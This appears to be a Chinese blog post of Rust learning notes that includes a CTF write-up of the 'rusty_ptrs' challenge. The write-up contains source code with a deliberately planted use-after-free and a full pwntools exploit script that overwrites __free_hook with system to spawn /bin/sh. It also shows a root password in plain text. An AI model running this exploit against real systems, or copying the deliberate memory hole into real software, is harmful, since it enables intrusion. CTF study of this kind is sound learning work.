rust入门
wsl可以移动,但是需要把wsl环境变量调整好,我没时间调整环境变量,所以我又把wsl放回到原先的文件夹下面了,呃呃呃
unset http_proxy https_proxy HTTP_PROXY HTTPS_PROXY ftp_proxy all_proxy
清一下代理,要不可能有点卡
为什么总时间(11162ms)比 12 个包 × 1 秒还长?
因为:
ping默认每秒发一个包(间隔 1 秒)。- 但你只收到了 5 个回复,其余 7 个包丢了。
ping会继续等待可能的迟到回复(有一定超时机制),所以总时间可能略大于(包数 - 1) × 1000ms。- 此外,如果你中途按了
Ctrl+C(如第一次测试只发了 5 包就中断),总时间也会不规则。
清理代理之后依旧如此
这个题目直接给了dockerfile文件,不去搭建本地环境,直接启动docker
FROM ubuntu:20.04
# Install dependencies
# according to docker, apt isnt stable in CLI, so use apt-get.
RUN apt-get update
RUN apt-get install -y curl socat
RUN apt-get install -y cargo
# RUN apt-get install -y python3 python3-pip
# RUN apt-get install -y nano
RUN rm -rf /var/lib/apt/lists/*
# Initialize User
RUN mkdir -p /usr/src/pwn
WORKDIR /usr/src/pwn
COPY ./rusty_ptrs_build ./rusty_ptrs
WORKDIR /usr/src/pwn/rusty_ptrs
RUN cargo b
WORKDIR /usr/src/pwn
# # Copy flag
COPY flag.txt .
RUN chmod 444 flag.txt
# # Set up pwn user
RUN adduser pwn
# Run and expose challenge
USER pwn
CMD socat -T60 TCP-LISTEN:1337,fork,reuseaddr EXEC:"/usr/src/pwn/rusty_ptrs/target/debug/rusty_ptrs"
继续让claude跑,也要时刻关注一些小报错
比如说下面的这个情况
● Bash(sudo apt update && sudo apt install -y rustc cargo) timeout: 3m 0s
⎿ Error: sudo: a terminal is required to read the password; either use the -S option to read from standard input or
configure an askpass helper
sudo: a password is required
shift+tap这个快捷键是强制推送关键词
看一下claude自我快速的总结和成长
- 使用root密码 zxc135135 登录root账户
- 配置Rust基础环境(不使用http下载,使用Ubuntu自带的包管理器安装)
- 写一个Hello World程序
问题分析的很好,但是拿不出来效果
● 明白了,让我先为你制定一个执行计划:
执行计划
- 切换到root用户
- 使用 sudo su 命令,输入密码 zxc135135
- 安装Rust环境
- 使用 Ubuntu 的 apt 包管理器安装 Rust
- 更新包列表:apt update
- 安装 cargo 和 rustc:apt install -y cargo rustc
- 验证安装
- 检查 rustc 版本:rustc --version
- 检查 cargo 版本:cargo --version
- 创建Hello World程序
- 创建一个工作目录(例如 /root/rust_test)
- 写入一个简单的 Rust Hello World 程序(main.rs)
- 使用 rustc 编译程序
- 运行编译后的可执行文件
这里其实直接用root身份登录就行
- 正在更新包列表… (esc to interrupt · ctrl+t to hide todos)
⎿ ☐ 更新包列表 (apt update)
☐ 安装 Rust (cargo 和 rustc)
☐ 验证 rustc 安装
☐ 验证 cargo 安装
☐ 创建工作目录 /root/rust_test
☐ 创建 Rust Hello World 程序
☐ 编译 Rust 程序
☐ 运行编译后的程序
最后整理出来的如下
Rust 环境搭建与 Hello World 指南
目录
1. 安装 Rust 环境
在 Ubuntu 系统上使用 apt 包管理器安装
# 更新包列表
apt update
# 安装 cargo 和 rustc
apt install -y cargo rustc
说明
rustc是 Rust 编译器cargo是 Rust 的包管理器和构建工具
2. 验证安装
安装完成后,验证 Rust 工具链是否正确安装:
# 检查 rustc 版本
rustc --version
# 检查 cargo 版本
cargo --version
预期输出示例:
rustc 1.xx.x (xxxxxxx 20xx-xx-xx)
cargo 1.xx.x (xxxxxxx 20xx-xx-xx)
3. 创建 Hello World 程序
步骤 1: 创建工作目录
# 创建工作目录
mkdir -p /root/rust_test
# 进入工作目录
cd /root/rust_test
步骤 2: 创建 Rust 源文件
创建一个名为 main.rs 的文件,内容如下:
fn main() {
println!("Hello, World!");
}
可以使用以下命令创建文件:
cat > main.rs << 'EOF'
fn main() {
println!("Hello, World!");
}
EOF
步骤 3: 编译程序
# 使用 rustc 编译程序
rustc main.rs
编译成功后,会生成一个名为 main 的可执行文件。
步骤 4: 运行程序
# 运行编译后的可执行文件
./main
预期输出:
Hello, World!
4. 运行现有程序
如果你已经有编译好的 Rust 程序(如本目录中的 rusty_ptrs),可以直接运行:
# 确保文件有执行权限
chmod +x rusty_ptrs
# 运行程序
./rusty_ptrs
使用指定的库文件运行
如果需要使用特定版本的动态链接库(如本目录中的 libc-2.31.so),可以使用:
# 使用指定的链接器和库运行程序
./ld-2.31.so --library-path . ./rusty_ptrs
附录:常用 Rust 命令
使用 Cargo 创建项目(推荐方式)
# 创建新项目
cargo new hello_world
# 进入项目目录
cd hello_world
# 构建项目
cargo build
# 运行项目
cargo run
# 构建发布版本(优化编译)
cargo build --release
项目结构
使用 cargo 创建的项目结构:
hello_world/
├── Cargo.toml # 项目配置文件
└── src/
└── main.rs # 源代码
Cargo.toml 示例
[package]
name = "hello_world"
version = "0.1.0"
edition = "2021"
[dependencies]
故障排除
问题 1: 找不到 rustc 命令
解决方案:
# 重新安装 Rust
apt update
apt install -y cargo rustc
# 或者使用 rustup(官方推荐)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
问题 2: 权限不足
解决方案:
# 给文件添加执行权限
chmod +x your_program
# 或使用 root 权限
sudo ./your_program
问题 3: 动态链接库错误
解决方案:
# 查看程序依赖的库
ldd ./your_program
# 设置 LD_LIBRARY_PATH 环境变量
export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH
./your_program
参考资源
题目源码
use std::io::{stdin, stdout, Write, Read};
use std::{io, mem, process};
const LEN: usize = 64;
const LEN2: usize = 2000;
const LEN3: usize = 80;
type RulesT = Vec<&'static mut [u8; LEN]>;
type NotesT = Vec<Box<[u8; LEN]>>;
type LawsT = Vec<Box<[u8; LEN3]>>;
fn main() {
let mut rules: RulesT = Vec::new();
let mut notes: NotesT = Vec::new();
loop {
menu();
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("failed to read input.");
if choice.is_empty() {
continue;
}
let choice: i32 = choice.trim().parse().expect("invalid input");
match choice {
1 => handle_create(&mut rules, &mut notes),
2 => handle_delete(&mut rules, &mut notes),
3 => handle_read(&mut rules, &mut notes),
4 => handle_edit(&mut rules, &mut notes),
5 => make_law(),
6 => {
println!("Bye!");
process::exit(0);
},
_ => println!("Invalid choice!"),
}
}
}
fn menu() {
println!("1. Create a Rule or Note");
println!("2. Delete a Rule or Note");
println!("3. Read a Rule or Note");
println!("4. Edit a Rule or Note");
println!("5. Make a Law");
println!("6. Exit");
}
fn submenu(){
println!("1. Rules");
println!("2. Notes");
}
#[inline(never)]
fn prompt() {
print!("> ");
io::stdout().flush().unwrap();
}
#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
let mut buffer = Box::new([0; LEN]);
return get_ptr(&mut buffer);
}
#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
let mut buffer = Box::new([0; LEN2]);
let mut _buffer2 = Box::new([0; 16]);
return get_ptr(&mut buffer);
}
#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
return Box::new([0; LEN])
}
const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
fn ident<'a, 'b, T: ?Sized>(
_val_a: &'a &'b (),
val_b: &'b mut T,
) -> &'a mut T {
val_b
}
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}
fn read_buf(buf: [u8; LEN]) {
println!("Contents of Buffer: \n{buf:?}");
let v1: i64 = i64::from_le_bytes(buf[0..8].try_into().unwrap());
let v2: i64 = i64::from_le_bytes(buf[8..16].try_into().unwrap());
println!("{:#08x}, {:#08x}", v1, v2);
}
fn edit_buf(buf: &mut [u8; LEN]){
println!("Send up to 64 bytes.");
prompt();
let stdin = io::stdin();
let mut handle = stdin.lock();
let _ = handle.read(buf);
io::stdout().flush().unwrap();
}
fn create_rule(rules: &mut RulesT){
let buf = get_rule();
rules.push(buf);
println!("Rule Created!");
}
fn create_note(notes: &mut NotesT){
let buf = get_note();
notes.push(buf);
println!("Note Created!");
}
fn make_law(){
let bufa = Box::new([b'\0'; LEN2]);
let _bufb = Box::new([b'\0'; LEN2]);
std::mem::drop(bufa);
let buf: &mut [u8; 2000] = get_law();
let v1: i64 = i64::from_le_bytes(buf[0..8].try_into().unwrap());
let v2: i64 = i64::from_le_bytes(buf[8..16].try_into().unwrap());
println!("{:#08x}, {:#08x}", v1, v2);
}
fn delete_rule(rules: &mut RulesT){
println!("Which Rule? ");
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("faled to read input");
let choice: usize = choice.trim().parse().expect("invalid input");
if choice >= rules.len() {
println!("OOB!");
} else {
rules.remove(choice);
}
println!("Rule Removed!");
}
fn delete_note(notes: &mut NotesT){
println!("Which Note? ");
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("faled to read input");
let choice: usize = choice.trim().parse().expect("invalid input");
if choice >= notes.len() {
println!("OOB!");
} else {
notes.remove(choice);
}
println!("Note Deleted!");
}
fn read_rule(rules: &mut RulesT){
println!("Which Rule? ");
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("faled to read input");
let choice: usize = choice.trim().parse().expect("invalid input");
if choice >= rules.len() {
println!("OOB!");
} else {
read_buf(*rules[choice]);
}
}
fn read_note(notes: &mut NotesT){
println!("Which Note? ");
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("faled to read input");
let choice: usize = choice.trim().parse().expect("invalid input");
if choice >= notes.len() {
println!("OOB!");
} else {
read_buf(*notes[choice]);
}
}
fn edit_rule(rules: &mut RulesT){
println!("Which Rule? ");
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("faled to read input");
let choice: usize = choice.trim().parse().expect("invalid input");
if choice >= rules.len() {
println!("OOB!");
} else {
edit_buf(&mut rules[choice]);
}
}
fn edit_note(notes: &mut NotesT){
println!("Which Note? ");
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("faled to read input");
let choice: usize = choice.trim().parse().expect("invalid input");
if choice >= notes.len() {
println!("OOB!");
} else {
edit_buf(&mut notes[choice]);
}
}
fn handle_create(rules: &mut RulesT, notes: &mut NotesT) {
submenu();
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("failed to read input.");
let choice: i32 = choice.trim().parse().expect("invalid input");
match choice {
1 => create_rule(rules),
2 => create_note(notes),
_ => println!("Invalid Choice!")
}
}
fn handle_edit(rules: &mut RulesT, notes: &mut NotesT) {
submenu();
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("failed to read input.");
let choice: i32 = choice.trim().parse().expect("invalid input");
match choice {
1 => edit_rule(rules),
2 => edit_note(notes),
_ => println!("Invalid Choice!")
}
}
fn handle_delete(rules: &mut RulesT, notes: &mut NotesT) {
submenu();
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("failed to read input.");
let choice: i32 = choice.trim().parse().expect("invalid input");
match choice {
1 => delete_rule(rules),
2 => delete_note(notes),
_ => println!("Invalid Choice!")
}
}
fn handle_read(rules: &mut RulesT, notes: &mut NotesT) {
submenu();
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("failed to read input.");
let choice: i32 = choice.trim().parse().expect("invalid input");
match choice {
1 => read_rule(rules),
2 => read_note(notes),
_ => println!("Invalid Choice!")
}
}
核心问题:get_rule() 和 get_ptr() 制造了悬垂引
1. 看这个函数:
#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
let mut buffer = Box::new([0; LEN]); // ← 在栈上创建一个 Box(堆分配)
return get_ptr(&mut buffer); // ← 传入 &mut buffer(局部变量!)
}
buffer是一个 局部变量,生命周期仅限于get_rule函数内部。- 当函数返回时,
buffer被销毁(Box的析构函数释放堆内存)。 - 但你却通过
get_ptr(&mut buffer)返回了一个指向这块已释放内存的引用!
这已经是一个典型的 use-after-free(UAF),即悬垂指针。
2. get_ptr 是如何绕过 Rust 借用检查的?
const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
fn ident<'a, 'b, T: ?Sized>(
_val_a: &'a &'b (),
val_b: &'b mut T,
) -> &'a mut T {
val_b
}
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}
这是一个经典的 “生命周期伪造” hack,利用了:
- 一个全局常量
S: &&(),其生命周期是'static; - 通过高阶函数签名混淆,让编译器误以为返回的引用可以具有任意生命周期(包括
'static); - 实际上,
x是一个短生命周期的局部引用,却被强制“延长”为'static。
✅ 这种技巧常见于 CTF 题、Rust 安全研究或恶意代码中,不是合法的安全 Rust 用法。
❌ 它绕过了 Rust 的借用检查器,制造了未定义行为(UB)。
3. 后果:rules 中存储的是悬垂引用
type RulesT = Vec<&'static mut [u8; LEN]>;
fn create_rule(rules: &mut RulesT){
let buf = get_rule(); // ← 返回一个指向已释放内存的 &'static mut [u8; LEN]
rules.push(buf); // ← 把悬垂引用存进 Vec
}
- 此时
rules中保存的是一个 指向已释放堆内存的引用。 - 后续任何对
rules[i]的读写(如read_rule,edit_rule)都是 访问非法内存。 - 程序可能:
- 崩溃(segmentation fault)
- 读到垃圾数据
- 被攻击者利用(如果可控制输入)
4. make_law() 也存在同样问题
make_law(){
let bufa = Box::new([b'\0'; LEN2]);
let _bufb = Box::new([b'\0'; LEN2]);
std::mem::drop(bufa); // ← 显式释放 bufa
let buf: &mut [u8; 2000] = get_law(); // ← get_law 内部又用 get_ptr 返回悬垂引用!
// ... 使用 buf → UB!
}
get_law()内部也调用了get_ptr(&mut local_box),返回悬垂引用。- 更糟的是,前面还
drop(bufa),加剧了内存重用风险。
选项五存在的问题
let v1: i64 = i64::from_le_bytes(buf[0..8].try_into().unwrap());
let v2: i64 = i64::from_le_bytes(buf[8..16].try_into().unwrap());
println!("{:#08x}, {:#08x}", v1, v2);
- 从这块“悬垂”内存的前 16 字节中,解读出两个
i64整数,并以十六进制打印。
RUST题解
今天的话来复习一下rust这个题目,上周开了组会了解到这个是2022CVE的漏洞,前一段时间看这个题感觉难度很大,大体了解了一下这个rust编译和运行,今天用一天大体把这个题目做出来试试
今天用wsl2去做一下这个题目
我们先看一下主函数,分析一下如何去写交互
fn main() {
let mut rules: RulesT = Vec::new();//rules类型为 RulesT(应为某种规则集合的类型别名,很可能是 Vec<Rule> 或类似构)。
let mut notes: NotesT = Vec::new();//notes:类型为 NotesT(同理,可能是 Vec<Note>)。
loop { //无限循环
menu();
prompt();
let mut choice = String::new(); //空的 String 变量 choice
io::stdin()
.read_line(&mut choice)
.expect("failed to read input.");
if choice.is_empty() {
continue;
}
let choice: i32 = choice.trim().parse().expect("invalid input"); //.trim():去除首尾空白(包括换行符 \n)。
//.parse():尝试将字符串解析为 i32 整数。
match choice {
1 => handle_create(&mut rules, &mut notes),
2 => handle_delete(&mut rules, &mut notes),
3 => handle_read(&mut rules, &mut notes),
4 => handle_edit(&mut rules, &mut notes),
5 => make_law(),
6 => {
println!("Bye!");
process::exit(0);
},
_ => println!("Invalid choice!"),
}
}
}
然后我们再看一下这里choice决定的跳转create函数,去看一下怎么去写交互
这里的话又是一个选择分支,一个是创造rules,一个是创造notes
fn handle_create(rules: &mut RulesT, notes: &mut NotesT) {
submenu();
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("failed to read input.");
let choice: i32 = choice.trim().parse().expect("invalid input");
match choice {
1 => create_rule(rules),
2 => create_note(notes),
_ => println!("Invalid Choice!")
}
}
然后我们继续跟进去看一下,继续一个函数的封装
fn create_rule(rules: &mut RulesT){
let buf = get_rule();
rules.push(buf);
println!("Rule Created!");
}
fn create_note(notes: &mut NotesT){
let buf = get_note();
notes.push(buf);
println!("Note Created!");
}
最后追踪到这里就结束了
#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
let mut buffer = Box::new([0; LEN]);
return get_ptr(&mut buffer);
}
#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
let mut buffer = Box::new([0; LEN2]);
let mut _buffer2 = Box::new([0; 16]);
return get_ptr(&mut buffer);
}
#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
return Box::new([0; LEN])
}
也就是最后的这里
const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
fn ident<'a, 'b, T: ?Sized>(
_val_a: &'a &'b (),
val_b: &'b mut T,
) -> &'a mut T {
val_b
}
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}
再去看一下delete函数,只看上面的那一个不够看
fn delete_rule(rules: &mut RulesT){
println!("Which Rule? ");
prompt();
let mut choice = String::new();
io::stdin()
.read_line(&mut choice)
.expect("faled to read input");
let choice: usize = choice.trim().parse().expect("invalid input");
if choice >= rules.len() {
println!("OOB!");
} else {
rules.remove(choice);
}
println!("Rule Removed!");
}
最后的exp
from pwn import *
context.binary = ELF("./rusty_ptrs")
io = gdb.debug("./rusty_ptrs")
#io = remote("127.0.0.1", 1337)
#gdb.attach(target=("127.0.0.1", 12345), gdbscript="target remote 127.0.0.1:12345")
#pause()
#io = process("./rusty_ptrs")
elf = ELF("./rusty_ptrs")
libc = elf.libc
def menu(idx):
io.sendlineafter(b"Exit\n> ", str(idx).encode())
return
def add(type):
menu(1)
io.sendlineafter(b"Notes\n> ", str(type).encode())
return
def free(type, idx):
menu(2)
io.sendlineafter(b"Notes\n> ", str(type).encode())
io.sendlineafter(b"? \n> ", str(idx).encode())
return
def show(type, idx):
menu(3)
io.sendlineafter(b"Notes\n> ", str(type).encode())
io.sendlineafter(b"? \n> ", str(idx).encode())
return
def edit(type, idx, content):
menu(4)
io.sendlineafter(b"Notes\n> ", str(type).encode())
io.sendlineafter(b"? \n> ", str(idx).encode())
io.sendafter(b".\n> ", content)
return
def make_law():
menu(5)
return
def exit():
menu(6)
return
# leak libc
make_law()
libc.address = int(io.recvuntil(b", ", drop=True), 16) - 0x1ecbe0
print("libc.address-> ", hex(libc.address))
# leak heap
#add(1)
#show(1, 0)
#io.recvuntil(b"]\n")
#heap_base_xor = int(io.recv(11), 16) - 1
#print("xor-> ", hex(heap_base_xor))
#free(1, 0)
# chunk fengshui
add(2)
add(2)
add(2)
free(2, 0)
free(2, 0)
# malloc & edit free hook
free_hook = libc.sym["__free_hook"]
add(1)
#edit(1, 0, p64(free_hook ^ heap_base_xor))
edit(1, 0, p64(free_hook))
system = libc.sym["system"]
add(2)
add(2)
edit(2, 2, p64(system))
add(2)
edit(2, 1, b"/bin/sh\x00")
free(2, 1)
print("free_hook -> ", hex(free_hook))
print("system -> ", hex(system))
io.interactive()
杂
元组使用方法
fn main() {
let abc: (f32, f32, f32) = (0.1, 0.2, 0.3);
let xyz: (f64, f64, f64) = (0.1, 0.2, 0.3);
println!("abc (f32)");
println!(" 0.1 + 0.2: {:x}", (abc.0 + abc.1).to_bits());
println!(" 0.3: {:x}", (abc.2).to_bits());
println!();
println!("xyz (f64)");
println!(" 0.1 + 0.2: {:x}", (xyz.0 + xyz.1).to_bits());
println!(" 0.3: {:x}", (xyz.2).to_bits());
println!();
assert!(abc.0 + abc.1 == abc.2);
assert!(xyz.0 + xyz.1 == xyz.2);
}
数组使用方法
fn main() {
// 编译器会进行自动推导,给予twenty i32的类型
let twenty = 20;
// 类型标注
let twenty_one: i32 = 21;
// 通过类型后缀的方式进行类型标注:22是i32类型
let twenty_two = 22i32;
// 只有同样类型,才能运算
let addition = twenty + twenty_one + twenty_two;
println!("{} + {} + {} = {}", twenty, twenty_one, twenty_two, addition);
// 对于较长的数字,可以用_进行分割,提升可读性
let one_million: i64 = 1_000_000;
println!("{}", one_million.pow(2));
// 定义一个f32数组,其中42.0会自动被推导为f32类型
let forty_twos = [
42.0,
42f32,
42.0_f32,
];
// 打印数组中第一个值,并控制小数位为2位
println!("{:.2}", forty_twos[0]);
println!("{:.2}", forty_twos[1]);
}
函数声明
fn type_of<T>(_: &T) -> String {
format!("{}", std::any::type_name::<T>())
}
<T>表示让编译器决定一个类型,把类型名叫T- _ : &T _ 表示只是要知道参数类型,不使用,&表示借用T类型,不是获取所有权。
-
String 表示返回值类型
fn main() {
let x = 5;
assert_eq!("i32".to_string(), type_of(&x));
}
// 以下函数可以获取传入参数的类型,并返回类型的字符串形式
fn type_of<T>(_: &T) -> String {
format!("{}", std::any::type_name::<T>())
}
- .to_string()转换为string类型
- format! 是一个宏,用于创建格式化的
String std::any::type_name::<T>()获取T类型的类型名称
数值类型
整数类型
| 长度 | 有符号类型 | 无符号类型 |
|---|---|---|
| 8 位 | i8 |
u8 |
| 16 位 | i16 |
u16 |
| 32 位 | i32 |
u32 |
| 64 位 | i64 |
u64 |
| 128 位 | i128 |
u128 |
| 视架构而定 | isize |
usize |
rust默认为i32类型
fn main(){
let a = 1;
println!("{}",a);
let twenty_two = 22i32;
}

浮点类型
主要有两种类型f32和f64
永远不要直接用浮点数进行对比。
fn main() {
let abc: (f32, f32, f32) = (0.1, 0.2, 0.3);
let xyz: (f64, f64, f64) = (0.1, 0.2, 0.3);
println!("abc (f32)");
println!(" 0.1 + 0.2: {:x}", (abc.0 + abc.1).to_bits());
println!(" 0.3: {:x}", (abc.2).to_bits());
println!();
println!("xyz (f64)");
println!(" 0.1 + 0.2: {:x}", (xyz.0 + xyz.1).to_bits());
println!(" 0.3: {:x}", (xyz.2).to_bits());
println!();
assert!(abc.0 + abc.1 == abc.2);
assert!(xyz.0 + xyz.1 == xyz.2);
}

超过精度了。
.to_bits()方法
- 将浮点数转换为原始的位表示(十六进制)
- 可以看到浮点数在内存中的真实存储
{:x}格式化
- 以十六进制格式打印数字
数学运算
fn main() {
// 编译器会进行自动推导,给予twenty i32的类型
let twenty = 20;
// 类型标注
let twenty_one: i32 = 21;
// 通过类型后缀的方式进行类型标注:22是i32类型
let twenty_two = 22i32;
// 只有同样类型,才能运算
let addition = twenty + twenty_one + twenty_two;
println!("{} + {} + {} = {}", twenty, twenty_one, twenty_two, addition);
// 对于较长的数字,可以用_进行分割,提升可读性
let one_million: i64 = 1_000_000;
println!("{}", one_million.pow(2));
// 定义一个f32数组,其中42.0会自动被推导为f32类型
let forty_twos = [
42.0,
42f32,
42.0_f32,
];
// 打印数组中第一个值,并控制小数位为2位
println!("{:.2}", forty_twos[0]);
}
// 对于较长的数字,可以用_进行分割,提升可读性
let one_million: i64 = 1_000_000;
println!("{}", one_million.pow(2));
_可以用来分隔数字,提高可读性(类似千分位).pow(2)是求平方
位运算
fn main() {
// 无符号8位整数,二进制为00000010
let a: u8 = 2; // 也可以写 let a: u8 = 0b_0000_0010;
// 二进制为00000011
let b: u8 = 3;
// {:08b}:左高右低输出二进制01,不足8位则高位补0
println!("a value is {:08b}", a);
println!("b value is {:08b}", b);
println!("(a & b) value is {:08b}", a & b);
println!("(a | b) value is {:08b}", a | b);
println!("(a ^ b) value is {:08b}", a ^ b);
println!("(!b) value is {:08b}", !b);
println!("(a << b) value is {:08b}", a << b);
println!("(a >> b) value is {:08b}", a >> b);
let mut a = a;
// 注意这些计算符除了!之外都可以加上=进行赋值 (因为!=要用来判断不等于)
a <<= b;
println!("(a << b) value is {:08b}", a);
}
println!("a value is {:08b}", a);
// ^^^^
// |└─ b = 二进制
// └── 08 = 总共8位,不足补0
序列
fn main() {
println!("=== 1..5 (不包含5) ===");
for i in 1..5 {
println!("{}", i);
}
println!("\n=== 1..=5 (包含5) ===");
for i in 1..=5 {
println!("{}", i);
}
println!("\n=== 倒序遍历 ===");
for i in (1..=5).rev() {
println!("{}", i);
}
println!("\n=== 带索引遍历数组 ===");
let fruits = ["apple", "banana", "cherry"];
for (index, fruit) in fruits.iter().enumerate() {
println!("{}: {}", index, fruit);
}
println!("\n=== 步长为2 ===");
for i in (0..10).step_by(2) {
println!("{}", i);
}
}
倒序
for i in (1..=5).rev() {
// 5, 4, 3, 2, 1
}
带索引遍历
for (index, value) in array.iter().enumerate() {
// 同时获取索引和值
}
自定义步长
for i in (0..10).step_by(2) {
// 0, 2, 4, 6, 8
}
AS类型转换
fn main() {
let a = 3.1 as i8;
let b = 100_i8 as i32;
let c = 'a' as u8; // 将字符'a'转换为整数,97
println!("{},{},{}",a,b,c)
}
字符、布尔、单元类型
fn main()
{
let x = '中';
println!("字符'中'占用了{}字节的内存大小", size_of_val(&x));
}
fn main() {
let t = true;
let f: bool = false; // 使用类型标注,显式指定f的类型
if f {
println!("这是段毫无意义的代码");
}
}
// 修改2处 `assert_eq!` 让代码工作
use std::mem::size_of_val;
fn main() {
let c1 = 'a';
assert_eq!(size_of_val(&c1),1);
let c2 = '中';
assert_eq!(size_of_val(&c2),3);
println!("Success!");
}
// 正确代码
use std::mem::size_of_val;
fn main() {
let c1 = 'a';
assert_eq!(size_of_val(&c1),4);
let c2 = '中';
assert_eq!(size_of_val(&c2),4);
println!("Success!");
assert_eq!为断言,断言两个函数表达式是否相等,不相等则panic(崩溃)程序std::mem::size_of_val计算获取值实际的所占字节数char类型是统一的 4 字节 Unicode 标量值
// 使成功打印
fn main() {
let _f: bool = false;
let t = true;
if !t {
println!("Success!")
}
// 正确代码
// 使成功打印
fn main() {
let _f: bool = false;
let t = false;
if !t {
println!("Success!")
}
fn main() {
let f = true;
let t = true && false;
assert_eq!(t, f);
println!("Success!")
}
// 正确代码
fn main() {
let f = true;
let t = true && true;
assert_eq!(t, f);
println!("Success!")
}
// 让代码工作,但不要修改 `implicitly_ret_unit` !
fn main() {
let _v: () = ();
let v = (2, 3);
assert_eq!(v, implicitly_ret_unit());
println!("Success!")
}
fn implicitly_ret_unit() {
println!("I will return a ()")
}
// 不要使用下面的函数,它只用于演示!
fn explicitly_ret_unit() -> () {
println!("I will return a ()")
}
// 正确代码
// 让代码工作,但不要修改 `implicitly_ret_unit` !
fn main() {
let _v: () = ();
let v = ();//因为要比较的是无数据单元类型
assert_eq!(v, implicitly_ret_unit());
println!("Success!")
}
fn implicitly_ret_unit() -> () { //养成给返回值类型的习惯。
println!("I will return a ()")
}
// 不要使用下面的函数,它只用于演示!
fn explicitly_ret_unit() -> () {
println!("I will return a ()")
}
}
语句和表达式
fn main() {
let y = {
let x = 3;
x + 1 //这里可以的主要原因是x+1为表达式,可赋值给变量
};
println!("The value of y is: {}", y);
//表达式结尾不可有分号,语句结尾有分号。
}
fn main() {
assert_eq!(ret_unit_type(), ())
}
fn ret_unit_type(){
let x = 1;
// if 语句块也是一个表达式,因此可以用于赋值,也可以直接返回
// 类似三元运算符,在Rust里我们可以这样写
let y = if x % 2 == 1 {
"odd"
} else {
"even"
};
}//当函数没有显式返回时,默认返回uint类型: () , 表达式也是显式返回
函数
fn add_sub(a: i32, b: i32) -> i32 {
if a > b {
return a - b
}
a + b
}
fn main() {
let result1 = add_sub(10, 5);
let result2 = add_sub(3, 7);
println!("Result 1: {}", result1); // Should print 5
println!("Result 2: {}", result2); // Should print 10
}
fn add(x:u32,y:u32) -> u32 {
x + y;
}
//这个函数需要返回u32,但是由于;把表达式转为了语句,只返回uint : () , 导致报错。
fn dead_end() -> ! {
panic!("你已经到了穷途末路,崩溃吧!");
}
// 永不返回的发散函数。
不可变变量
fn main(){
let a = 1;
println!("{}",a);
}
当a被赋值后就不允许直接修改了,只能重新声明。但是这样有个好处,同一个变量名可以在不同数据类型之间直接转换。
可变变量
fn main(){
let mut a = 1;
println!("{}",a);
a = 5;
}
a可以被重复赋值,不需要重新声明,但是只运行同数据类型赋值。
结构体
struct Test {
a: i32,
b: i32
}
fn main() {
let (a, b, c, d, e, f);
(a, b) = (1, 2);
[c, .., d, _] = [3, 4, 5, 6, 7]; //从右往左赋值
Test {a: e, b: f} = Test {a: 7, b: 8};
println!("a = {}, b = {}", a, b);
println!("c = {}, d = {}", c, d);
println!("e = {}, f = {}", e, f);
}
- ..表示不需要,占位
- _ 也是只是占位
- Test {a: e, b: f} = Test {a: 7, b: 8}; ,结构体 {字段名: 变量名} = 结构体实例,如果字段名和变量名相同可以省略
struct Struct {
e: i32
}
fn main() {
let (a, b, c, d, e);
(a, b) = (1, 2);
// _ 代表匹配一个值,但是我们不关心具体的值是什么,因此没有使用一个变量名而是使用了 _
[c, .., d, _] = [1, 2, 3, 4, 5];
Struct { e, .. } = Struct { e: 5 };
assert_eq!([1, 2, 1, 4, 5], [a, b, c, d, e]);
}

浙公网安备 33010602011771号